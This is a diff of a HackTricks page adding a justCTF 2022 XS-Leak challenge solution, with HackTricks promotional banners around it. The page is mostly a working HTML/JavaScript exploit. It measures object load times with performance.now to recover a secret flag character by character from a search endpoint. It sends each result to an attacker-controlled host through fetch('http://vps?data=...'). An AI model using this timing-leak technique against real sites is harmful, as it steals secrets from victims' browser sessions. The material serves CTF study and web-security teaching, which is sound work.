|
| 1 | +# performance.now + Force heavy task |
| 2 | + |
| 3 | +<details> |
| 4 | + |
| 5 | +<summary><a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ HackTricks LIVE Twitch</strong></a> <strong>Wednesdays 5.30pm (UTC) 🎙️ -</strong> <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> |
| 6 | + |
| 7 | +* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! |
| 8 | +* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) |
| 9 | +* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) |
| 10 | +* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.** |
| 11 | +* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). |
| 12 | + |
| 13 | +</details> |
| 14 | + |
| 15 | +Exploit taken from [https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/](https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/) |
| 16 | + |
| 17 | +In this challenge the user could sent thousands of chars and if the flag was contained, the chars would be sent back to the bot. So putting a big amount of chars the attacker could measure if the flag was containing in the sent string or not. |
| 18 | + |
| 19 | +{% hint style="warning" %} |
| 20 | +Initially, I didn’t set object width and height, but later on, I found that it’s important because the default size is too small to make a difference in the load time. |
| 21 | +{% endhint %} |
| 22 | + |
| 23 | +```html |
| 24 | +<!DOCTYPE html> |
| 25 | +<html> |
| 26 | +<head> |
| 27 | + |
| 28 | +</head> |
| 29 | +<body> |
| 30 | + <img src="https://deelay.me/30000/https://example.com"> |
| 31 | + <script> |
| 32 | + fetch('https://deelay.me/30000/https://example.com') |
| 33 | +
|
| 34 | + function send(data) { |
| 35 | + fetch('http://vps?data='+encodeURIComponent(data)).catch(err => 1) |
| 36 | + } |
| 37 | +
|
| 38 | + function leak(char, callback) { |
| 39 | + return new Promise(resolve => { |
| 40 | + let ss = 'just_random_string' |
| 41 | + let url = `http://baby-xsleak-ams3.web.jctf.pro/search/?search=${char}&msg=`+ss[Math.floor(Math.random()*ss.length)].repeat(1000000) |
| 42 | + let start = performance.now() |
| 43 | + let object = document.createElement('object'); |
| 44 | + object.width = '2000px' |
| 45 | + object.height = '2000px' |
| 46 | + object.data = url; |
| 47 | + object.onload = () => { |
| 48 | + object.remove() |
| 49 | + let end = performance.now() |
| 50 | + resolve(end - start) |
| 51 | + } |
| 52 | + object.onerror = () => console.log('Error event triggered'); |
| 53 | + document.body.appendChild(object); |
| 54 | + }) |
| 55 | + |
| 56 | + } |
| 57 | +
|
| 58 | + send('start') |
| 59 | +
|
| 60 | + let charset = 'abcdefghijklmnopqrstuvwxyz_}'.split('') |
| 61 | + let flag = 'justCTF{' |
| 62 | +
|
| 63 | + async function main() { |
| 64 | + let found = 0 |
| 65 | + let notFound = 0 |
| 66 | + for(let i=0;i<3;i++) { |
| 67 | + await leak('..') |
| 68 | + } |
| 69 | + for(let i=0; i<3; i++) { |
| 70 | + found += await leak('justCTF') |
| 71 | + } |
| 72 | + for(let i=0; i<3; i++) { |
| 73 | + notFound += await leak('NOT_FOUND123') |
| 74 | + } |
| 75 | +
|
| 76 | + found /= 3 |
| 77 | + notFound /= 3 |
| 78 | + |
| 79 | + send('found flag:'+found) |
| 80 | + send('not found flag:'+notFound) |
| 81 | +
|
| 82 | + let threshold = found - ((found - notFound)/2) |
| 83 | + send('threshold:'+threshold) |
| 84 | +
|
| 85 | + if (notFound > found) { |
| 86 | + return |
| 87 | + } |
| 88 | +
|
| 89 | + // exploit |
| 90 | + while(true) { |
| 91 | + if (flag[flag.length - 1] === '}') { |
| 92 | + break |
| 93 | + } |
| 94 | + for(let char of charset) { |
| 95 | + let trying = flag + char |
| 96 | + let time = 0 |
| 97 | + for(let i=0; i<3; i++) { |
| 98 | + time += await leak(trying) |
| 99 | + } |
| 100 | + time/=3 |
| 101 | + send('char:'+trying+',time:'+time) |
| 102 | + if (time >= threshold) { |
| 103 | + flag += char |
| 104 | + send(flag) |
| 105 | + break |
| 106 | + } |
| 107 | + } |
| 108 | + } |
| 109 | + } |
| 110 | +
|
| 111 | + main() |
| 112 | + |
| 113 | + </script> |
| 114 | +</body> |
| 115 | + |
| 116 | +</html> |
| 117 | +``` |
| 118 | + |
| 119 | + |
| 120 | + |
| 121 | +<details> |
| 122 | + |
| 123 | +<summary><a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ HackTricks LIVE Twitch</strong></a> <strong>Wednesdays 5.30pm (UTC) 🎙️ -</strong> <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> |
| 124 | + |
| 125 | +* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! |
| 126 | +* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) |
| 127 | +* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) |
| 128 | +* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.** |
| 129 | +* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). |
| 130 | + |
| 131 | +</details> |
0 commit comments